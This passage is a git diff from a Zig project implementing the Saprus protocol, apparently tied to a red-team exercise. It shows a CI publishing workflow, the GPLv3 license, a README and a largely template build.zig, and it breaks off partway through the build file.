diff options
| -rw-r--r-- | .tangled/workflows/build.yml | 26 | ||||
| -rw-r--r-- | LICENSE.md | 676 | ||||
| -rw-r--r-- | README.md | 11 | ||||
| -rw-r--r-- | build.zig | 194 | ||||
| -rw-r--r-- | build.zig.zon | 11 | ||||
| -rw-r--r-- | include/zaprus.h | 43 | ||||
| -rw-r--r-- | src/Client.zig | 182 | ||||
| -rw-r--r-- | src/Connection.zig | 105 | ||||
| -rw-r--r-- | src/EthIpUdp.zig | 109 | ||||
| -rw-r--r-- | src/RawSocket.zig | 203 | ||||
| -rw-r--r-- | src/c_api.zig | 104 | ||||
| -rw-r--r-- | src/main.zig | 498 | ||||
| -rw-r--r-- | src/message.zig | 238 | ||||
| -rw-r--r-- | src/root.zig | 30 |
14 files changed, 2170 insertions, 260 deletions
diff --git a/.tangled/workflows/build.yml b/.tangled/workflows/build.yml new file mode 100644 index 0000000..1c1ccf8 --- /dev/null +++ b/.tangled/workflows/build.yml @@ -0,0 +1,26 @@ +when: + - event: ["push", "pull_request", "manual"] + branch: ["dev", "master"] + tag: ["v*"] + +engine: "nixery" + +dependencies: + nixpkgs: + - rclone + git+https://github.com/mitchellh/zig-overlay: + - master + +steps: + - name: "Build" + command: "zig build -Doptimize=ReleaseSmall -Dcpu=baseline" + - name: "Publish" + command: | + rclone sync ./zig-out \ + --webdav-url "$RELEASE_NEXTCLOUD_HOST/remote.php/dav/files/$RELEASE_NEXTCLOUD_USER/" \ + --webdav-user "$RELEASE_NEXTCLOUD_USER" \ + --webdav-pass "$RELEASE_NEXTCLOUD_PASS" \ + --webdav-vendor nextcloud \ + :webdav:"zaprus/zaprus-$TANGLED_REF_NAME" \ + -q + diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..3b176db --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,676 @@ +# GNU GENERAL PUBLIC LICENSE + +Version 3, 29 June 2007 + +Copyright (C) 2007 Free Software Foundation, Inc. +<https://fsf.org/> + +Everyone is permitted to copy and distribute verbatim copies of this +license document, but changing it is not allowed. + +## Preamble + +The GNU General Public License is a free, copyleft license for +software and other kinds of works. + +The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom +to share and change all versions of a program--to make sure it remains +free software for all its users. We, the Free Software Foundation, use +the GNU General Public License for most of our software; it applies +also to any other work released this way by its authors. You can apply +it to your programs, too. + +When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + +To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you +have certain responsibilities if you distribute copies of the +software, or if you modify it: responsibilities to respect the freedom +of others. + +For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + +Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + +For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + +Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the +manufacturer can do so. This is fundamentally incompatible with the +aim of protecting users' freedom to change the software. The +systematic pattern of such abuse occurs in the area of products for +individuals to use, which is precisely where it is most unacceptable. +Therefore, we have designed this version of the GPL to prohibit the +practice for those products. If such problems arise substantially in +other domains, we stand ready to extend this provision to those +domains in future versions of the GPL, as needed to protect the +freedom of users. + +Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish +to avoid the special danger that patents applied to a free program +could make it effectively proprietary. To prevent this, the GPL +assures that patents cannot be used to render the program non-free. + +The precise terms and conditions for copying, distribution and +modification follow. + +## TERMS AND CONDITIONS + +### 0. Definitions. + +"This License" refers to version 3 of the GNU General Public License. + +"Copyright" also means copyright-like laws that apply to other kinds +of works, such as semiconductor masks. + +"The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + +To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of +an exact copy. The resulting work is called a "modified version" of +the earlier work or a work "based on" the earlier work. + +A "covered work" means either the unmodified Program or a work based +on the Program. + +To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + +To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user +through a computer network, with no transfer of a copy, is not +conveying. + +An interactive user interface displays "Appropriate Legal Notices" to +the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + +### 1. Source Code. + +The "source code" for a work means the preferred form of the work for +making modifications to it. "Object code" means any non-source form of +a work. + +A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + +The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + +The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + +The Corresponding Source need not include anything that users can +regenerate automatically from other parts of the Corresponding Source. + +The Corresponding Source for a work in source code form is that same +work. + +### 2. Basic Permissions. + +All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + +You may make, run and propagate covered works that you do not convey, +without conditions so long as your license otherwise remains in force. +You may convey covered works to others for the sole purpose of having +them make modifications exclusively for you, or provide you with +facilities for running those works, provided that you comply with the +terms of this License in conveying all material for which you do not +control copyright. Those thus making or running the covered works for +you must do so exclusively on your behalf, under your direction and +control, on terms that prohibit them from making any copies of your +copyrighted material outside their relationship with you. + +Conveying under any other circumstances is permitted solely under the +conditions stated below. Sublicensing is not allowed; section 10 makes +it unnecessary. + +### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + +No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + +When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such +circumvention is effected by exercising rights under this License with +respect to the covered work, and you disclaim any intention to limit +operation or modification of the work as a means of enforcing, against +the work's users, your or third parties' legal rights to forbid +circumvention of technological measures. + +### 4. Conveying Verbatim Copies. + +You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + +You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + +### 5. Conveying Modified Source Versions. + +You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these +conditions: + +- a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. +- b) The work must carry prominent notices stating that it is + released under this License and any conditions added under + section 7. This requirement modifies the requirement in section 4 + to "keep intact all notices". +- c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. +- d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + +A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + +### 6. Conveying Non-Source Forms. + +You may convey a covered work in object code form under the terms of +sections 4 and 5, provided that you also convey the machine-readable +Corresponding Source under the terms of this License, in one of these +ways: + +- a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. +- b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the Corresponding + Source from a network server at no charge. +- c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. 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Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. +- e) Convey the object code using peer-to-peer transmission, + provided you inform other peers where the object code and + Corresponding Source of the work are being offered to the general + public at no charge under subsection 6d. + +A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + +A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, +family, or household purposes, or (2) anything designed or sold for +incorporation into a dwelling. In determining whether a product is a +consumer product, doubtful cases shall be resolved in favor of +coverage. For a particular product received by a particular user, +"normally used" refers to a typical or common use of that class of +product, regardless of the status of the particular user or of the way +in which the particular user actually uses, or expects or is expected +to use, the product. A product is a consumer product regardless of +whether the product has substantial commercial, industrial or +non-consumer uses, unless such uses represent the only significant +mode of use of the product. + +"Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to +install and execute modified versions of a covered work in that User +Product from a modified version of its Corresponding Source. The +information must suffice to ensure that the continued functioning of +the modified object code is in no case prevented or interfered with +solely because modification has been made. + +If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + +The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or +updates for a work that has been modified or installed by the +recipient, or for the User Product in which it has been modified or +installed. Access to a network may be denied when the modification +itself materially and adversely affects the operation of the network +or violates the rules and protocols for communication across the +network. + +Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + +### 7. Additional Terms. + +"Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + +When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + +Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders +of that material) supplement the terms of this License with terms: + +- a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or +- b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or +- c) Prohibiting misrepresentation of the origin of that material, + or requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or +- d) Limiting the use for publicity purposes of names of licensors + or authors of the material; or +- e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or +- f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions + of it) with contractual assumptions of liability to the recipient, + for any liability that these contractual assumptions directly + impose on those licensors and authors. + +All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + +If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + +Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; the +above requirements apply either way. + +### 8. Termination. + +You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + +However, if you cease all violation of this License, then your license +from a particular copyright holder is reinstated (a) provisionally, +unless and until the copyright holder explicitly and finally +terminates your license, and (b) permanently, if the copyright holder +fails to notify you of the violation by some reasonable means prior to +60 days after the cessation. + +Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + +Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + +### 9. Acceptance Not Required for Having Copies. + +You are not required to accept this License in order to receive or run +a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + +### 10. Automatic Licensing of Downstream Recipients. + +Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + +An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + +You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + +### 11. Patents. + +A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + +A contributor's "essential patent claims" are all patent claims owned +or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + +Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + +In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + +If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + +If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + +A patent license is "discriminatory" if it does not include within the +scope of its coverage, prohibits the exercise of, or is conditioned on +the non-exercise of one or more of the rights that are specifically +granted under this License. You may not convey a covered work if you +are a party to an arrangement with a third party that is in the +business of distributing software, under which you make payment to the +third party based on the extent of your activity of conveying the +work, and under which the third party grants, to any of the parties +who would receive the covered work from you, a discriminatory patent +license (a) in connection with copies of the covered work conveyed by +you (or copies made from those copies), or (b) primarily for and in +connection with specific products or compilations that contain the +covered work, unless you entered into that arrangement, or that patent +license was granted, prior to 28 March 2007. + +Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + +### 12. No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under +this License and any other pertinent obligations, then as a +consequence you may not convey it at all. For example, if you agree to +terms that obligate you to collect a royalty for further conveying +from those to whom you convey the Program, the only way you could +satisfy both those terms and this License would be to refrain entirely +from conveying the Program. + +### 13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + +### 14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions +of the GNU General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in +detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies that a certain numbered version of the GNU General Public +License "or any later version" applies to it, you have the option of +following the terms and conditions either of that numbered version or +of any later version published by the Free Software Foundation. If the +Program does not specify a version number of the GNU General Public +License, you may choose any version ever published by the Free +Software Foundation. + +If the Program specifies that a proxy can decide which future versions +of the GNU General Public License can be used, that proxy's public +statement of acceptance of a version permanently authorizes you to +choose that version for the Program. + +Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + +### 15. Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT +WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND +PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE +DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR +CORRECTION. + +### 16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR +CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES +ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT +NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR +LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM +TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER +PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +### 17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + +END OF TERMS AND CONDITIONS + +## How to Apply These Terms to Your New Programs + +If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these +terms. + +To do so, attach the following notices to the program. It is safest to +attach them to the start of each source file to most effectively state +the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + <one line to give the program's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. + +Also add information on how to contact you by electronic and paper +mail. + +If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + <program> Copyright (C) <year> <name of author> + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands \`show w' and \`show c' should show the +appropriate parts of the General Public License. Of course, your +program's commands might be different; for a GUI interface, you would +use an "about box". + +You should also get your employer (if you work as a programmer) or +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. For more information on this, and how to apply and follow +the GNU GPL, see <https://www.gnu.org/licenses/>. + +The GNU General Public License does not permit incorporating your +program into proprietary programs. If your program is a subroutine +library, you may consider it more useful to permit linking proprietary +applications with the library. If this is what you want to do, use the +GNU Lesser General Public License instead of this License. But first, +please read <https://www.gnu.org/licenses/why-not-lgpl.html>. + diff --git a/README.md b/README.md new file mode 100644 index 0000000..b9c1b7e --- /dev/null +++ b/README.md @@ -0,0 +1,11 @@ +# zaprus + +This is an implementation of the [Saprus protocol](https://gitlab.com/c2-games/red-team/saprus) in Zig. +It is useful for developing clients either in Zig, or in any other language using the C bindings. + +Binary releases can be downloaded [here](https://cloud.zambito.xyz/s/7jJPTm68Zp3mN8F). + +The code for this can be found here: + +- https://tangled.org/zambyte.robbyzambito.me/zaprus +- https://git.robbyzambito.me/zaprus @@ -1,54 +1,151 @@ const std = @import("std"); -// Although this function looks imperative, note that its job is to -// declaratively construct a build graph that will be executed by an external -// runner. +// Although this function looks imperative, it does not perform the build +// directly and instead it mutates the build graph (`b`) that will be then +// executed by an external runner. The functions in `std.Build` implement a DSL +// for defining build steps and express dependencies between them, allowing the +// build runner to parallelize the build automatically (and the cache system to +// know when a step doesn't need to be re-run). pub fn build(b: *std.Build) void { - // Standard target options allows the person running `zig build` to choose + // Ensure the license is included in the output directory + b.installFile("LICENSE.md", "LICENSE.md"); + b.installFile("README.md", "README.md"); + // Standard target options allow the person running `zig build` to choose // what target to build for. Here we do not override the defaults, which // means any target is allowed, and the default is native. Other options // for restricting supported target set are available. const target = b.standardTargetOptions(.{}); - // Standard optimization options allow the person running `zig build` to select // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not // set a preferred release mode, allowing the user to decide how to optimize. const optimize = b.standardOptimizeOption(.{}); + // It's also possible to define more custom flags to toggle optional features + // of this build script using `b.option()`. All defined flags (including + // target and optimize options) will be listed when running `zig build --help` + // in this directory. + + // Get default install step (called with `zig build` or `zig build install`) + const install_step = b.getInstallStep(); - // We will also create a module for our other entry point, 'main.zig'. - const exe_mod = b.createModule(.{ - // `root_source_file` is the Zig "entry point" of the module. If a module - // only contains e.g. external object files, you can make this `null`. - // In this case the main source file is merely a path, however, in more - // complicated build scripts, this could be a generated file. - .root_source_file = b.path("src/main.zig"), + // This creates a module, which represents a collection of source files alongside + // some compilation options, such as optimization mode and linked system libraries. + // Zig modules are the preferred way of making Zig code available to consumers. + // addModule defines a module that we intend to make available for importing + // to our consumers. We must give it a name because a Zig package can expose + // multiple modules and consumers will need to be able to specify which + // module they want to access. + const mod = b.addModule("zaprus", .{ + // The root source file is the "entry point" of this module. Users of + // this module will only be able to access public declarations contained + // in this file, which means that if you have declarations that you + // intend to expose to consumers that were defined in other files part + // of this module, you will have to make sure to re-export them from + // the root file. + .root_source_file = b.path("src/root.zig"), + // Later on we'll use this module as the root module of a test executable + // which requires us to specify a target. .target = target, - .optimize = optimize, }); - exe_mod.addImport("network", b.dependency("network", .{}).module("network")); + // Only used to generate the documentation + const zaprus_lib = b.addLibrary(.{ + .name = "zaprus", + .root_module = mod, + }); + + const docs_step = b.step("doc", "Emit documentation"); + const docs_install = b.addInstallDirectory(.{ + .install_dir = .prefix, + .install_subdir = "docs", + .source_dir = zaprus_lib.getEmittedDocs(), + }); + + docs_step.dependOn(&docs_install.step); + install_step.dependOn(docs_step); + + // Create static library + const lib = b.addLibrary(.{ + .name = "zaprus", + .root_module = b.createModule(.{ + .root_source_file = b.path("src/c_api.zig"), + .target = target, + .optimize = optimize, + .link_libc = true, + .imports = &.{ + .{ .name = "zaprus", .module = mod }, + }, + }), + }); - // This creates another `std.Build.Step.Compile`, but this one builds an executable - // rather than a static library. + b.installArtifact(lib); + lib.installHeader(b.path("include/zaprus.h"), "zaprus.h"); + + // Here we define an executable. An executable needs to have a root module + // which needs to expose a `main` function. While we could add a main function + // to the module defined above, it's sometimes preferable to split business + // logic and the CLI into two separate modules. + // + // If your goal is to create a Zig library for others to use, consider if + // it might benefit from also exposing a CLI tool. A parser library for a + // data serialization format could also bundle a CLI syntax checker, for example. + // + // If instead your goal is to create an executable, consider if users might + // be interested in also being able to embed the core functionality of your + // program in their own executable in order to avoid the overhead involved in + // subprocessing your CLI tool. + // + // If neither case applies to you, feel free to delete the declaration you + // don't need and to put everything under a single module. const exe = b.addExecutable(.{ .name = "zaprus", - .root_module = exe_mod, + .root_module = b.createModule(.{ + // b.createModule defines a new module just like b.addModule but, + // unlike b.addModule, it does not expose the module to consumers of + // this package, which is why in this case we don't have to give it a name. + .root_source_file = b.path("src/main.zig"), + // Target and optimization levels must be explicitly wired in when + // defining an executable or library (in the root module), and you + // can also hardcode a specific target for an executable or library + // definition if desireable (e.g. firmware for embedded devices). + .target = target, + .optimize = optimize, + // List of modules available for import in source files part of the + // root module. + .imports = &.{ + // Here "zaprus" is the name you will use in your source code to + // import this module (e.g. `@import("zaprus")`). The name is + // repeated because you are allowed to rename your imports, which + // can be extremely useful in case of collisions (which can happen + // importing modules from different packages). + .{ .name = "zaprus", .module = mod }, + }, + }), }); // This declares intent for the executable to be installed into the - // standard location when the user invokes the "install" step (the default - // step when running `zig build`). + // install prefix when running `zig build` (i.e. when executing the default + // step). By default the install prefix is `zig-out/` but can be overridden + // by passing `--prefix` or `-p`. b.installArtifact(exe); - // This *creates* a Run step in the build graph, to be executed when another - // step is evaluated that depends on it. The next line below will establish - // such a dependency. + // This creates a top level step. Top level steps have a name and can be + // invoked by name when running `zig build` (e.g. `zig build run`). + // This will evaluate the `run` step rather than the default step. + // For a top level step to actually do something, it must depend on other + // steps (e.g. a Run step, as we will see in a moment). + const run_step = b.step("run", "Run the app"); + + // This creates a RunArtifact step in the build graph. A RunArtifact step + // invokes an executable compiled by Zig. Steps will only be executed by the + // runner if invoked directly by the user (in the case of top level steps) + // or if another step depends on it, so it's up to you to define when and + // how this Run step will be executed. In our case we want to run it when + // the user runs `zig build run`, so we create a dependency link. const run_cmd = b.addRunArtifact(exe); + run_step.dependOn(&run_cmd.step); - // By making the run step depend on the install step, it will be run from the + // By making the run step depend on the default step, it will be run from the // installation directory rather than directly from within the cache directory. - // This is not necessary, however, if the application depends on other installed - // files, this ensures they will be present and in the expected location. run_cmd.step.dependOn(b.getInstallStep()); // This allows the user to pass arguments to the application in the build @@ -57,21 +154,42 @@ pub fn build(b: *std.Build) void { run_cmd.addArgs(args); } - // This creates a build step. It will be visible in the `zig build --help` menu, - // and can be selected like this: `zig build run` - // This will evaluate the `run` step rather than the default, which is "install". - const run_step = b.step("run", "Run the app"); - run_step.dependOn(&run_cmd.step); + // Creates an executable that will run `test` blocks from the provided module. + // Here `mod` needs to define a target, which is why earlier we made sure to + // set the releative field. + const mod_tests = b.addTest(.{ + .root_module = mod, + }); - const exe_unit_tests = b.addTest(.{ - .root_module = exe_mod, + // A run step that will run the test executable. + const run_mod_tests = b.addRunArtifact(mod_tests); + + // Creates an executable that will run `test` blocks from the executable's + // root module. Note that test executables only test one module at a time, + // hence why we have to create two separate ones. + const exe_tests = b.addTest(.{ + .root_module = exe.root_module, }); - const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests); + // A run step that will run the second test executable. + const run_exe_tests = b.addRunArtifact(exe_tests); + + // A top level step for running all tests. dependOn can be called multiple + // times and since the two run steps do not depend 